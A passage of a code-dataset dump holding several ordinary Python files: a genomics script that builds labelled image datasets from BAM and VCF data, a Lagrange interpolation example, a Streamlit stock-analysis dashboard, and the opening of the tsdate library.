0\nMIN_VARIANT_IN_WINDOW_THRESHOLD = 0\nBED_INDEX_BUFFER = -1\nSAFE_BOUNDARY_BASES = 50\n\n\ndef build_chromosomal_interval_trees(confident_bed_path):\n \"\"\"\n Produce a dictionary of intervals trees, with one tree per chromosome\n :param confident_bed_path: Path to confident bed file\n :return: trees_chromosomal\n \"\"\"\n # create an object for tsv file handling\n tsv_handler_reference = TsvHandler(tsv_file_path=confident_bed_path)\n # create intervals based on chromosome\n intervals_chromosomal_reference = tsv_handler_reference.get_bed_intervals_by_chromosome(start_offset=1,\n universal_offset=-1)\n # create a dictionary to get all chromosomal trees\n intervals_chromosomal = dict()\n\n # for each chromosome extract the tree and add it to the dictionary\n for chromosome_name in intervals_chromosomal_reference:\n intervals = intervals_chromosomal_reference[chromosome_name]\n intervals_chromosomal[chromosome_name] = intervals\n\n # return the dictionary containing all the trees\n return intervals_chromosomal\n\n\nclass View:\n \"\"\"\n Process manager that runs sequence of processes to generate images and their labebls.\n \"\"\"\n def __init__(self, chromosome_name, bam_file_path, reference_file_path, vcf_path, output_file_path,\n confidence_intervals, thread_no):\n \"\"\"\n Initialize a manager object\n :param chromosome_name: Name of the chromosome\n :param bam_file_path: Path to the BAM file\n :param reference_file_path: Path to the reference FASTA file\n :param vcf_path: Path to the VCF file\n :param output_file_path: Path to the output directory where images are saved\n :param confidence_intervals: Confidence interval in the chromosome.\n \"\"\"\n # --- initialize handlers ---\n # create objects to handle different files and query\n self.bam_handler = BamHandler(bam_file_path)\n self.fasta_handler = FastaHandler(reference_file_path)\n self.output_dir = output_file_path\n self.confidence_intervals = confidence_intervals\n self.vcf_path = vcf_path\n self.candidate_finder = CandidateFinder(bam_file_path, reference_file_path, chromosome_name)\n self.thread_id = thread_no\n\n # --- initialize names ---\n # name of the chromosome\n self.chromosome_name = chromosome_name\n self.summary_file = open(self.output_dir + \"summary/\" + \"summary\" + '_' + chromosome_name + \"_\" +\n str(thread_no) + \".csv\", 'w')\n\n def get_vcf_record_of_region(self, start_pos, end_pos, filter_hom_ref=False):\n \"\"\"\n Get VCF records of a given region\n :param start_pos: start position of the region\n :param end_pos: end position of the region\n :param filter_hom_ref: whether to ignore hom_ref VCF records during candidate validation\n :return: VCF_records: VCF records of the region\n \"\"\"\n\n vcf_handler = VCFFileProcessor(file_path=self.vcf_path)\n # get dictionary of variant records for full region\n vcf_handler.populate_dictionary(contig=self.chromosome_name,\n start_pos=start_pos,\n end_pos=end_pos,\n hom_filter=filter_hom_ref)\n\n # get separate positional variant dictionaries for IN, DEL, and SNP\n positional_variants = vcf_handler.get_variant_dictionary()\n\n return positional_variants\n\n @staticmethod\n def save_dictionary(dictionary, file_path):\n \"\"\"\n Save a dictionary to a file.\n :param dictionary: The dictionary to save\n :param file_path: Path to the output file\n :return:\n \"\"\"\n with open(file_path, 'wb') as f:\n pickle.dump(dictionary, f, pickle.HIGHEST_PROTOCOL)\n\n def parse_region(self, start_index, end_index):\n \"\"\"\n Generate labeled images of a given region of the genome\n :param start_index: Start index of the confident interval\n :param end_index: End index of the confident interval\n :return:\n \"\"\"\n for i in range(start_index, end_index):\n interval_start, interval_end = self.confidence_intervals[i][0] + BED_INDEX_BUFFER, \\\n self.confidence_intervals[i][1] + BED_INDEX_BUFFER\n\n interval_length = interval_end - interval_start\n if interval_length < MIN_SEQUENCE_BASE_LENGTH_THRESHOLD:\n warn_msg = \"REGION SKIPPED, TOO SMALL OF A WINDOW \" + self.chromosome_name + \" \"\n warn_msg = warn_msg + str(interval_start) + \" \" + str(interval_end) + \"\\n\"\n if LOG_LEVEL == LOG_LEVEL_HIGH:\n sys.stderr.write(TextColor.BLUE + \"INFO: \" + warn_msg + TextColor.END)\n continue\n\n # create a h5py file where the images are stored\n hdf5_filename = os.path.abspath(self.output_dir) + '/' + str(self.chromosome_name) + '_' \\\n + str(interval_start) + \".h5\"\n\n allele_dict_filename = self.chromosome_name + '_' + str(interval_start) + '_' + str(interval_end)\n allele_dict_filename = os.path.abspath(self.output_dir) + \"/candidate_dictionaries/\" \\\n + allele_dict_filename + '.pkl'\n\n file_info = hdf5_filename + \" \" + allele_dict_filename\n\n # get positional variants\n positional_variants = self.get_vcf_record_of_region(interval_start - SAFE_BOUNDARY_BASES,\n interval_end + SAFE_BOUNDARY_BASES)\n\n if len(positional_variants) < MIN_VARIANT_IN_WINDOW_THRESHOLD:\n warn_msg = \"REGION SKIPPED, INSUFFICIENT NUMBER OF VARIANTS \" + self.chromosome_name + \" \"\n warn_msg = warn_msg + str(interval_start) + \" \" + str(interval_end) + \" VARIANT COUNT: \" + \\\n str(len(positional_variants)) + \"\\n\"\n if LOG_LEVEL == LOG_LEVEL_HIGH:\n sys.stderr.write(TextColor.BLUE + \"INFO: \" + warn_msg + TextColor.END)\n continue\n\n # process the interval and populate dictionaries\n read_id_list = self.candidate_finder.process_interval(interval_start - SAFE_BOUNDARY_BASES,\n interval_end + SAFE_BOUNDARY_BASES)\n\n image_generator = ImageGenerator(self.candidate_finder)\n # get trainable sequences\n sliced_images, summary_strings, img_h, img_w, img_c = \\\n image_generator.get_segmented_image_sequences(interval_start, interval_end, positional_variants,\n read_id_list, file_info)\n\n if len(summary_strings) > 0:\n # save allele dictionary\n allele_dictionary = image_generator.top_alleles\n self.save_dictionary(allele_dictionary, allele_dict_filename)\n\n self.summary_file.write(summary_strings)\n\n hdf5_file = h5py.File(hdf5_filename, mode='w')\n # the image dataset we save. The index name in h5py is \"images\".\n img_dset = hdf5_file.create_dataset(\"images\", (len(sliced_images),) + (img_h, img_w, img_c), np.uint8,\n compression='gzip')\n # save the images and labels to the h5py file\n img_dset[...] = sliced_images\n\n\ndef test(view_object):\n \"\"\"\n Run a test\n :return:\n \"\"\"\n start_time = time.time()\n view_object.parse_region(start_index=0, end_index=5)\n print(\"TOTAL TIME ELAPSED: \", time.time()-start_time)\n\n\ndef parallel_run(chr_name, bam_file, ref_file, vcf_file, output_dir, conf_intervals, thread_no):\n \"\"\"\n Creates a view object for a region and generates images for that region.\n :param chr_name: Name of the chromosome\n :param bam_file: path to BAM file\n :param ref_file: path to reference FASTA file\n :param vcf_file: path to VCF file\n :param output_dir: path to output directory\n :param conf_intervals: list containing confident bed intervals\n :param thread_no: thread number\n :return:\n \"\"\"\n\n # create a view object\n view_ob = View(chromosome_name=chr_name,\n bam_file_path=bam_file,\n reference_file_path=ref_file,\n output_file_path=output_dir,\n vcf_path=vcf_file,\n confidence_intervals=conf_intervals,\n thread_no=thread_no)\n\n view_ob.parse_region(0, len(conf_intervals))\n\n\ndef create_output_dir_for_chromosome(output_dir, chr_name):\n \"\"\"\n Create an internal directory inside the output directory to dump choromosomal summary files\n :param output_dir: Path to output directory\n :param chr_name: chromosome name\n :return: New directory path\n \"\"\"\n path_to_dir = output_dir + chr_name + \"/\"\n if not os.path.exists(path_to_dir):\n os.mkdir(path_to_dir)\n\n summary_path = path_to_dir + \"summary\" + \"/\"\n if not os.path.exists(summary_path):\n os.mkdir(summary_path)\n\n candidate_dictionar_path = path_to_dir + \"candidate_dictionaries\" + \"/\"\n if not os.path.exists(candidate_dictionar_path):\n os.mkdir(candidate_dictionar_path)\n\n return path_to_dir\n\n\ndef chromosome_level_parallelization(chr_name, bam_file, ref_file, vcf_file, output_path, max_threads,\n confident_bed_tree, singleton_run=False):\n \"\"\"\n This method takes one chromosome name as parameter and chunks that chromosome in max_threads.\n :param chr_name: Name of the chromosome\n :param bam_file: path to BAM file\n :param ref_file: path to reference FASTA file\n :param vcf_file: path to VCF file\n :param output_path: path to output directory\n :param max_threads: Maximum number of threads to run at one instance\n :param confident_bed_tree: tree containing confident bed intervals\n :param singleton_run: if running a chromosome independently\n :return:\n \"\"\"\n chr_start_time = time.time()\n sys.stderr.write(TextColor.BLUE + \"INFO: STARTING \" + str(chr_name) + \" PROCESSES\" + \"\\n\" + TextColor.END)\n # create dump directory inside output directory\n output_dir = create_output_dir_for_chromosome(output_path, chr_name)\n\n # entire length of chromosome\n c_intervals = confident_bed_tree[chr_name]\n total_segments = len(c_intervals)\n\n # .5MB segments at once\n each_chunk_size = 100\n\n if DEBUG_TEST_PARALLEL:\n each_chunk_size = 100\n total_segments = 700\n\n for i in tqdm(range(0, total_segments, each_chunk_size), file=sys.stdout, dynamic_ncols=True):\n start_position = i\n end_position = min(i + each_chunk_size, total_segments)\n chunk_intervals = c_intervals[start_position:end_position]\n\n # gather all parameters\n args = (chr_name, bam_file, ref_file, vcf_file, output_dir, chunk_intervals, i)\n p = multiprocessing.Process(target=parallel_run, args=args)\n p.start()\n\n # wait until we have room for new processes to start\n while True:\n if len(multiprocessing.active_children()) < max_threads:\n break\n\n if singleton_run:\n # wait for the last process to end before file processing\n while True:\n if len(multiprocessing.active_children()) == 0:\n break\n # remove summary files and make one file\n summary_file_to_csv(output_path, [chr_name])\n # merge_all_candidate_dictionaries(output_path, [chr_name])\n\n chr_end_time = time.time()\n sys.stderr.write(TextColor.RED + \"CHROMOSOME PROCESSES FINISHED SUCCESSFULLY\" + \"\\n\")\n sys.stderr.write(\n TextColor.CYAN + \"TOTAL TIME FOR GENERATING ALL RESULTS: \" + str(chr_end_time - chr_start_time) + \"\\n\")\n\n\ndef genome_level_parallelization(bam_file, ref_file, vcf_file, output_dir_path, max_threads, confident_bed_tree):\n \"\"\"\n This method calls chromosome_level_parallelization for each chromosome.\n :param bam_file: path to BAM file\n :param ref_file: path to reference FASTA file\n :param vcf_file: path to VCF file\n :param output_dir_path: path to output directory\n :param max_threads: Maximum number of threads to run at one instance\n :param confident_bed_tree: tree containing confident bed intervals\n :return:\n \"\"\"\n\n # --- NEED WORK HERE --- GET THE CHROMOSOME NAMES FROM THE BAM FILE\n chr_list = [\"chr1\", \"chr2\", \"chr3\", \"chr4\", \"chr5\", \"chr6\", \"chr7\", \"chr8\", \"chr9\", \"chr10\", \"chr11\",\n \"chr12\", \"chr13\", \"chr14\", \"chr15\", \"chr16\", \"chr17\", \"chr18\", \"chr19\"]\n # chr_list = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"10\", \"11\", \"12\", \"13\", \"14\", \"15\", \"16\", \"17\", \"18\", \"19\"]\n\n program_start_time = time.time()\n\n # chr_list = [\"19\"]\n\n # each chromosome in list\n for chr_name in chr_list:\n\n start_time = time.time()\n\n # do a chromosome level parallelization\n chromosome_level_parallelization(chr_name, bam_file, ref_file, vcf_file, output_dir_path,\n max_threads, confident_bed_tree)\n\n end_time = time.time()\n sys.stderr.write(TextColor.PURPLE + \"FINISHED \" + str(chr_name) + \" PROCESSES\" + \"\\n\")\n sys.stderr.write(TextColor.CYAN + \"TIME ELAPSED: \" + str(end_time - start_time) + \"\\n\")\n\n # wait for the last process to end before file processing\n while True:\n if len(multiprocessing.active_children()) == 0:\n break\n\n summary_file_to_csv(output_dir_path, chr_list)\n # merge_all_candidate_dictionaries(output_dir_path, chr_list)\n\n program_end_time = time.time()\n sys.stderr.write(TextColor.RED + \"ALL PROCESSES FINISHED SUCCESSFULLY\" + \"\\n\")\n sys.stderr.write(TextColor.CYAN + \"TOTAL TIME FOR GENERATING ALL RESULTS: \" + str(program_end_time-program_start_time) + \"\\n\")\n\n\ndef summary_file_to_csv(output_dir_path, chr_list):\n \"\"\"\n Remove the abundant number of summary files and bind them to one\n :param output_dir_path: Path to the output directory\n :param chr_list: List of chromosomes\n :return:\n \"\"\"\n for chr_name in chr_list:\n # here we dumped all the bed files\n path_to_dir = output_dir_path + chr_name + \"/summary/\"\n\n concatenated_file_name = output_dir_path + chr_name + \".csv\"\n\n filemanager_object = FileManager()\n # get all bed file paths from the directory\n file_paths = filemanager_object.get_file_paths_from_directory(path_to_dir)\n # dump all bed files into one\n filemanager_object.concatenate_files(file_paths, concatenated_file_name)\n # delete all temporary files\n filemanager_object.delete_files(file_paths)\n # remove the directory\n os.rmdir(path_to_dir)\n\n\ndef merge_all_candidate_dictionaries(output_dir_path, chr_list):\n \"\"\"\n Merge all dictionaries containing candidate alleles to one\n :param output_dir_path: Path to the output directory\n :param chr_list: List of chromosomes\n :return:\n \"\"\"\n for chr_name in chr_list:\n # here we dumped all the bed files\n path_to_dir = output_dir_path + chr_name + \"/candidate_dictionaries/\"\n\n concatenated_file_name = output_dir_path + chr_name + \"_candidate_alleles.pkl\"\n\n filemanager_object = FileManager()\n # get all bed file paths from the directory\n file_paths = filemanager_object.get_file_paths_from_directory(path_to_dir)\n # dump all bed files into one\n filemanager_object.merge_dictionaries(file_paths, concatenated_file_name)\n # delete all temporary files\n filemanager_object.delete_files(file_paths)\n # remove the directory\n os.rmdir(path_to_dir)\n\n\ndef handle_output_directory(output_dir):\n \"\"\"\n Process the output directory and return a valid directory where we save the output\n :param output_dir: Output directory path\n :return:\n \"\"\"\n # process the output directory\n if output_dir[-1] != \"/\":\n output_dir += \"/\"\n if not os.path.exists(output_dir):\n os.mkdir(output_dir)\n\n # create an internal directory so we don't overwrite previous runs\n timestr = time.strftime(\"%m%d%Y_%H%M%S\")\n internal_directory = \"run_\" + timestr + \"/\"\n output_dir = output_dir + internal_directory\n\n if not os.path.exists(output_dir):\n os.mkdir(output_dir)\n\n return output_dir\n\n\nif __name__ == '__main__':\n '''\n Processes arguments and performs tasks.\n '''\n parser = argparse.ArgumentParser()\n parser.register(\"type\", \"bool\", lambda v: v.lower() == \"true\")\n parser.add_argument(\n \"--bam\",\n type=str,\n required=True,\n help=\"BAM file containing reads of interest.\"\n )\n parser.add_argument(\n \"--ref\",\n type=str,\n required=True,\n help=\"Reference corresponding to the BAM file.\"\n )\n parser.add_argument(\n \"--vcf\",\n type=str,\n required=True,\n help=\"VCF file path.\"\n )\n parser.add_argument(\n \"--chromosome_name\",\n type=str,\n help=\"Desired chromosome number E.g.: 3\"\n )\n parser.add_argument(\n \"--max_threads\",\n type=int,\n default=8,\n help=\"Number of maximum threads for this region.\"\n )\n parser.add_argument(\n \"--confident_bed\",\n type=str,\n required=True,\n help=\"Path to confident BED file\"\n )\n parser.add_argument(\n \"--test\",\n type=bool,\n default=False,\n help=\"If true then a dry test is run.\"\n )\n parser.add_argument(\n \"--output_dir\",\n type=str,\n default=\"candidate_finder_output/\",\n help=\"Path to output directory.\"\n )\n\n FLAGS, unparsed = parser.parse_known_args()\n FLAGS.output_dir = handle_output_directory(FLAGS.output_dir)\n\n # if the confident bed is not empty then create the tree\n confident_interval_tree = build_chromosomal_interval_trees(FLAGS.confident_bed)\n\n if FLAGS.test is True:\n chromosome_output = create_output_dir_for_chromosome(FLAGS.output_dir, FLAGS.chromosome_name)\n view = View(chromosome_name=FLAGS.chromosome_name,\n bam_file_path=FLAGS.bam,\n reference_file_path=FLAGS.ref,\n vcf_path=FLAGS.vcf,\n output_file_path=chromosome_output,\n confidence_intervals=confident_interval_tree[FLAGS.chromosome_name],\n thread_no=1)\n test(view)\n elif FLAGS.chromosome_name is not None:\n chromosome_level_parallelization(FLAGS.chromosome_name, FLAGS.bam, FLAGS.ref, FLAGS.vcf, FLAGS.output_dir,\n FLAGS.max_threads, confident_interval_tree, singleton_run=True)\n else:\n genome_level_parallelization(FLAGS.bam, FLAGS.ref, FLAGS.vcf, FLAGS.output_dir,\n FLAGS.max_threads, confident_interval_tree)\n","sub_path":"generate_sequence.py","file_name":"generate_sequence.py","file_ext":"py","file_size_in_byte":20581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"552418387","text":"# To represent a data point corresponding to x and y = f(x)\nclass Data:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\ndef interpolate(f: list, xi: int, n: int) -> float:\n\n result = 0.0\n for i in range(n):\n\n # Compute individual terms of above formula\n term = f[i].y\n for j in range(n):\n if j != i:\n term = term * (xi - f[j].x) / (f[i].x - f[j].x)\n\n # Add current term to result\n result += term\n\n return result\n\nif __name__ == \"__main__\":\n\n # creating an array of 4 known data points\n f = [Data(0, 2), Data(1, 3), Data(2, 12), Data(5, 147)] # manual input\n\n\n # corresponding to x=3\n print(\"Value of f(3) is :\", interpolate(f, 3, 4)) # manual input\n","sub_path":"Lagrange Interpolation.py","file_name":"Lagrange Interpolation.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"458448621","text":"import streamlit as st\nimport spacy_streamlit\nimport pandas as pd\nimport yfinance as yfs\nfrom matplotlib import pyplot as plt\nimport yahoo_fin.stock_info as yf\nfrom src import companyinfo\nfrom src import piotroski_with_chart\nfrom src import piotroski\nfrom src import benish\nfrom src import sentimentanalyzer\nplt.style.use(\"ggplot\")\ncategory= []\ncompany_name=[]\nstock_indices = [\"-\",\"NIFTY50\",\"DOW\",\"FTSE100\",\"FTSE250\",\"IBOVESPA\",\"NASDAQ\",\"NIFTYBANK\",\"SP500\"]\ndef retrieve_companyname(data,fetch,tic):\n data = data.dropna()\n comp_name= list(data[fetch])\n ticker = list(data[tic])\n return comp_name,ticker\n\ndef linechart_format(data):\n new_date = data.columns\n df_list = data.values.tolist()\n if len(df_list) >1:\n calu = df_list[0]\n \n cal = calu.pop(0)\n new_cal = calu\n \n else:\n cal = df_list.pop(0)\n new_cal = df_list\n new_date =list(data[1:])[1:] \n df = pd.DataFrame({\n 'date': new_date,\n cal: new_cal\n })\n\n df = df.rename(columns={'date':'index'}).set_index('index')\n return df\n\n\nst.title(\"Mini-Refinitiv Eikon\")\nst.sidebar.title(\"Mini- Refinitiv Eikon\")\n# st.title(\"News\")\nmy_expander = st.sidebar.beta_expander(label=\"Company's Profile\")\nwith my_expander:\n menu = st.selectbox(\"Let's Explore\",[\"Overview\",\"Ownership\",\"ESG\",\"Financial Statments\",\"piotroski F-score\",\"Benish M-score\",\"News\",\"Charts\"],index =0)\n\n#sidebar - Starts\nsearch = st.sidebar.radio(\"Choose one of the option: \",[\"Type the ticker\",\"Search for ticker in stock index list\"],index = 0)\nif search == \"Type the ticker\":\n symbol = st.sidebar.text_input(\"Ticker of the company\")\n try:\n # holder = yf.get_holders(symbol)\n comp_name = yfs.Ticker(symbol).info['longName']\n st.sidebar.write(\"You have a selected {} and the ticker is {}\".format(comp_name,symbol))\n \n st.sidebar.success('Fetch the ticker')\n except:\n st.sidebar.error('Unable to fetch the ticker')\n \nelse:\n category = st.sidebar.selectbox(\"Select a stock index \",stock_indices)\n if category == \"-\":\n st.info('Please select one index from dropdown')\n if category == \"NIFTY50\":\n data = yf.tickers_nifty50(True)\n company_name,ticker = retrieve_companyname(data,'Company Name','Symbol')\n if category == \"DOW\":\n data = yf.tickers_dow(True)\n company_name,ticker = retrieve_companyname(data,'Company','Symbol')\n if category == \"FTSE100\":\n data = yf.tickers_ftse100(True)\n company_name,ticker = retrieve_companyname(data,'Company','EPIC')\n if category == \"FTSE250\":\n data = yf.tickers_ftse250(True)\n company_name,ticker = retrieve_companyname(data,'Company',\"Ticker\")\n \n if category == \"IBOVESPA\":\n data = yf.tickers_ibovespa(True)\n company_name,ticker = retrieve_companyname(data,'Share',\"Symbol\")\n \n if category == \"NASDAQ\":\n data = yf.tickers_nasdaq(True)\n company_name,ticker = retrieve_companyname(data,'Security Name',\"Symbol\")\n \n if category == \"NIFTYBANK\":\n data = yf.tickers_niftybank()\n company_name = data\n ticker = data\n\n if category == \"SP500\":\n data = yf.tickers_sp500(True)\n company_name,ticker = retrieve_companyname(data,'Security',\"Symbol\")\n \n if len(company_name)==0:\n st.sidebar.info('Please wait fetching the details')\n else:\n st.sidebar.write(\"Total no. of companies : {}\".format(len(company_name)))\n st.sidebar.success('Fetched all the details')\n company = st.sidebar.selectbox(\"Select a company\",company_name)\n symbol = ticker[company_name.index(company)]\n if symbol:\n st.sidebar.write(\"You have a selected {} and the ticker is {}\".format(company,symbol))\n#Sidebar ends\n#Start of main page\nif menu == 'Overview':\n try:\n st.title('Overview')\n longName,symbol,logo,industry,phone,website,summary = companyinfo.info(symbol)\n co_name = longName\n st.markdown('''\n # {} - {}'''.format(longName,symbol))\n st.image(logo)\n st.markdown('''\n ## Industry type: {}\n {}\n ## Contact details\n - phone no.- {}\n - website - {}\n '''.format(industry,summary,phone,website))\n except:\n st.info('Please select one symbol')\nelif menu == 'Ownership':\n try:\n major_dict,major_holders,institutional_holders = companyinfo.stock_holders(symbol)\n print(major_dict)\n print(institutional_holders)\n st.title('Ownership')\n st.markdown('''\n \n ## Ownership details\n - {} - {}\n - {} - {}\n - {} - {}\n - {} - {}\n '''.format(major_dict['data'][0][1],major_dict['data'][0][0],major_dict['data'][1][1],major_dict['data'][1][0],major_dict['data'][2][1],major_dict['data'][2][0],major_dict['data'][3][1],major_dict['data'][3][0]))\n\n # st.subheader('Major holders information:')\n # st.dataframe(major_holders)\n \n st.subheader('Institutional holders information:')\n st.dataframe(institutional_holders)\n except :\n\n st.info('There some issue in loading in this page')\n \nelif menu == \"Analyst estimates\":\n analyst_estimate = companyinfo.analyst_info(symbol)\n st.title('Analyst estimate (Currency in USD)')\n st.subheader('Earnings Estimate information:')\n st.dataframe(analyst_estimate['Earnings Estimate'])\n st.subheader('Revenue Estimate information:')\n st.dataframe(analyst_estimate['Revenue Estimate'])\n st.subheader('Earnings History information:')\n st.dataframe(analyst_estimate['Earnings History'])\n st.subheader('EPS Revisions information:')\n st.dataframe(analyst_estimate['EPS Revisions'])\n st.subheader('Growth Estimates information:')\n st.dataframe(analyst_estimate['Growth Estimates'])\n\nelif menu == \"piotroski F-score\":\n st.title('Piotroski F-score')\n st.subheader(\"What is Piotroski F-score?\")\n st.write(\"Piotroski F-score is a number between 0 and 9 which is used to assess strength of company's financial position. The score is used by financial investors in order to find the best value stocks\")\n st.subheader(\"How it is calculated?\")\n st.markdown('''\n Piotroski f score is calculated based on 9 criteria divided into 3 groups\n \n - profitability\n - liquidity and leverage\n - operational efficiency\n ''')\n name = yfs.Ticker(symbol).info['longName']\n st.subheader('Piotroski F-score for {}'.format(name))\n fscore,flag = piotroski.piotroski(symbol)\n if flag == 404:\n st.info(\"Unable to fetch the financial statements\")\n elif flag == 500:\n st.info(\"Unable to calculate scores\")\n elif flag == 200:\n print(fscore.get('Piotroski F-score(/9)')[0])\n print(type(fscore.get('Piotroski F-score(/9)')[0]))\n st.markdown(' The Piotroski F-score for ** {} ** is ** {} ** and the strength of the company is considered to be ** {} **'.format(name,fscore.get('Piotroski F-score(/9)')[0],fscore.get('Strength')[0]))\n fscore = fscore.head(1).transpose()\n fscore.columns = ['Piotroski Score of '+name]\n # fscore = fscore[1:]\n # piotro_fscore = fscore.head(1).transpose()\n st.dataframe(fscore)\n\nelif menu == 'Charts':\n st.title(\"Charts of Piotroski - F Score\")\n fscore,profitability_table,leverage_table,oe_table = piotroski_with_chart.piotroski(symbol)\n my_expander = st.beta_expander(label='Performance of the company')\n with my_expander:\n group = st.selectbox('Select a group',['-','Profitability','Leverage and liquidity','Operation efficiency'])\n if group == '-':\n st.info('Please select one of the group listed')\n if group == 'Profitability':\n criteria = st.selectbox('Select a criteria',['-','Return of Assets','Operating Cash Flow','Accruals','Net Income'])\n if criteria == '-':\n st.info('Please select one of the criteria listed')\n elif criteria == 'Return of Assets':\n data = profitability_table[profitability_table['calculation']=='Return of Assets']\n print(data)\n st.line_chart(linechart_format(data))\n elif criteria == 'Operating Cash Flow':\n data = profitability_table[profitability_table['calculation']=='Operating Cash Flow']\n print(data)\n st.line_chart(linechart_format(data))\n elif criteria == 'Accruals':\n data = profitability_table[profitability_table['calculation']=='Accruals']\n st.line_chart(linechart_format(data))\n elif criteria == 'Net Income':\n data = profitability_table[profitability_table['calculation']=='Net Income']\n st.line_chart(linechart_format(data))\n if group == 'Leverage and liquidity':\n criteria = st.selectbox('Select a criteria',['-','long debt ratio','current ratio'])\n if criteria == '-':\n st.info('Please select one of the criteria listed')\n elif criteria == 'current ratio':\n data = leverage_table[leverage_table['calculation']=='current ratio']\n st.line_chart(linechart_format(data))\n\n elif criteria == 'long debt ratio':\n data = leverage_table[leverage_table['calculation']=='long debt ratio']\n st.line_chart(linechart_format(data))\n \n if group == 'Operation efficiency':\n criteria = st.selectbox('Select a criteria',['-','gross margin'])\n if criteria == '-':\n st.info('Please select one of the criteria listed')\n elif criteria == 'gross margin':\n data = oe_table[oe_table['calculation']=='gross margin']\n st.line_chart(linechart_format(data))\n \nelif menu == \"Benish M-score\":\n name = yfs.Ticker(symbol).info['longName']\n st.title('Benish M-score')\n st.subheader(\"What is Benish M-score?\")\n st.write(\"The Beneish model is a statistical model that uses financial ratios calculated with accounting data of a specific company in order to check if it is likely (high probability) that the reported earnings of the company have been manipulated.\")\n st.subheader(\"How it is calculated?\")\n st.markdown('''\n The Beneish M-score is calculated using 8 variables (financial ratios):\n \n - Days Sales in Receivables Index\n - Gross Margin Index\n - Asset Quality Index\n - Sales Growth Index\n - Depreciation Index\n - Sales General and Administrative Expenses Index \n - Leverage Index\n - Total Accruals to Total Assets\n\n ''')\n st.subheader('Benish M-score for {}'.format(name))\n mscore = benish.benish_m_score(symbol)\n if mscore < -1.78:\n st.markdown(''' The benish M-score is ** {:.3f} **.The company ** {} ** is unlikely to be a manipulator'''.format(mscore,name))\n else:\n st.markdown(''' The benish M-score is ** {:.3f} **.The company ** {} ** is likely to be a manipulator'''.format(mscore,name))\n \n st.warning('Beneish M-score is a probabilistic model, so it cannot detect companies that manipulate their earnings with 100% accuracy.')\n st.warning('Financial institutions were excluded from the sample in Beneish paper when calculating M-score. It means that the M-score for fraud detection cannot be applied among financial firms (banks, insurance).')\n\nelif menu ==\"News\":\n newsdata = companyinfo.fetch_news(symbol)\n sent_score = []\n postive_news = 0\n negative_news = 0\n neutral_news = 0\n total_news = len(newsdata)\n \n st.title(\"News\")\n my_expander = st.beta_expander(label='View News')\n with my_expander:\n for news in newsdata:\n summary = news['summary']\n link = news['link']\n title = news['title']\n date = news['published']\n docx,sentiment_score,sub_words,text_summary,key_entity = sentimentanalyzer.sentiment(summary)\n st.subheader(title)\n st.write('''published date: {}'''.format(date))\n if text_summary:\n st.markdown(text_summary)\n else: \n st.write(summary)\n st.markdown('''*Key-entities - {} *'''.format(key_entity))\n sent_score.append(sentiment_score)\n if sentiment_score > 0: \n postive_news+=1\n st.markdown('''<p style=\"color:green\">Sentiment score = {:.3f}</p>\n '''.format(sentiment_score), unsafe_allow_html=True)\n elif sentiment_score == 0:\n neutral_news+=1\n st.markdown('''<p>Sentiment score = {:.3f}</p>\n '''.format(sentiment_score), unsafe_allow_html=True)\n\n else:\n negative_news+=1\n st.markdown('''<p style=\"color:red\">Sentiment score = {:.3f}.</p>\n '''.format(sentiment_score), unsafe_allow_html=True)\n\n st.markdown('''[click here to read more]({})'''.format(link))\n\n avg_sentiment = sum(sent_score)/total_news\n st.markdown('''\n - Total no. of news = {}\n - No. of positive news = {}\n - No. of negative news = {}\n - No. of neutral news = {}\n '''.format(total_news,postive_news,negative_news,neutral_news))\n if avg_sentiment > 0 or avg_sentiment == 0:\n st.markdown('''\n - <p style=\"color:green\"> Average sentiment score = {:.3f}</p>\n '''.format(avg_sentiment), unsafe_allow_html=True)\n else:\n st.markdown('''\n - <p style=\"color:red\">Average sentiment score = {:.3f}</p>\n '''.format(avg_sentiment), unsafe_allow_html=True)\n\nelif menu == \"Financial Statments\": \n balance_sheet,cash_flow,income_statement = companyinfo.statements(symbol)\n st.title('Financial Statements')\n st.subheader('Balance Sheet')\n st.dataframe(balance_sheet)\n st.subheader('Cash flow statement')\n st.dataframe(cash_flow)\n st.subheader('Income statement')\n st.dataframe(income_statement)\n\nelif menu == \"ESG\":\n esg_table = companyinfo.esg(symbol)\n st.title('Environmental, Social and Governance')\n st.dataframe(esg_table)\n\n\n\n","sub_path":"mini_Refinitiv_Eikon.py","file_name":"mini_Refinitiv_Eikon.py","file_ext":"py","file_size_in_byte":14448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"608729094","text":"# MIT License\n#\n# Copyright (c) 2019 Anthony Wilder Wohns\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\"\"\"\nInfer the age of nodes conditional on a tree sequence topology.\n\"\"\"\nfrom collections import defaultdict, namedtuple\nimport logging\nimport os\nimport itertools\nimport multiprocessing\nimport operator\nimport functools\n\nimport tskit\n\nimport numba\nimport numpy as np\nimport scipy.stats\nfrom scipy.special import comb\nfrom tqdm import tqdm\n\nFORMAT_NAME = \"tsdate\"\nFORMAT_VERSION = [1, 0]\nFLOAT_DTYPE = np.float64\nALPHA, BETA, MEAN, VAR = 0, 1, 2, 3 # Column names for storing the prior tables\nLIN = \"linear\"\nLOG = \"logarithmic\"\n\n# Hack: monkey patches to allow tsdate to work with non-dev versions of tskit\n# TODO 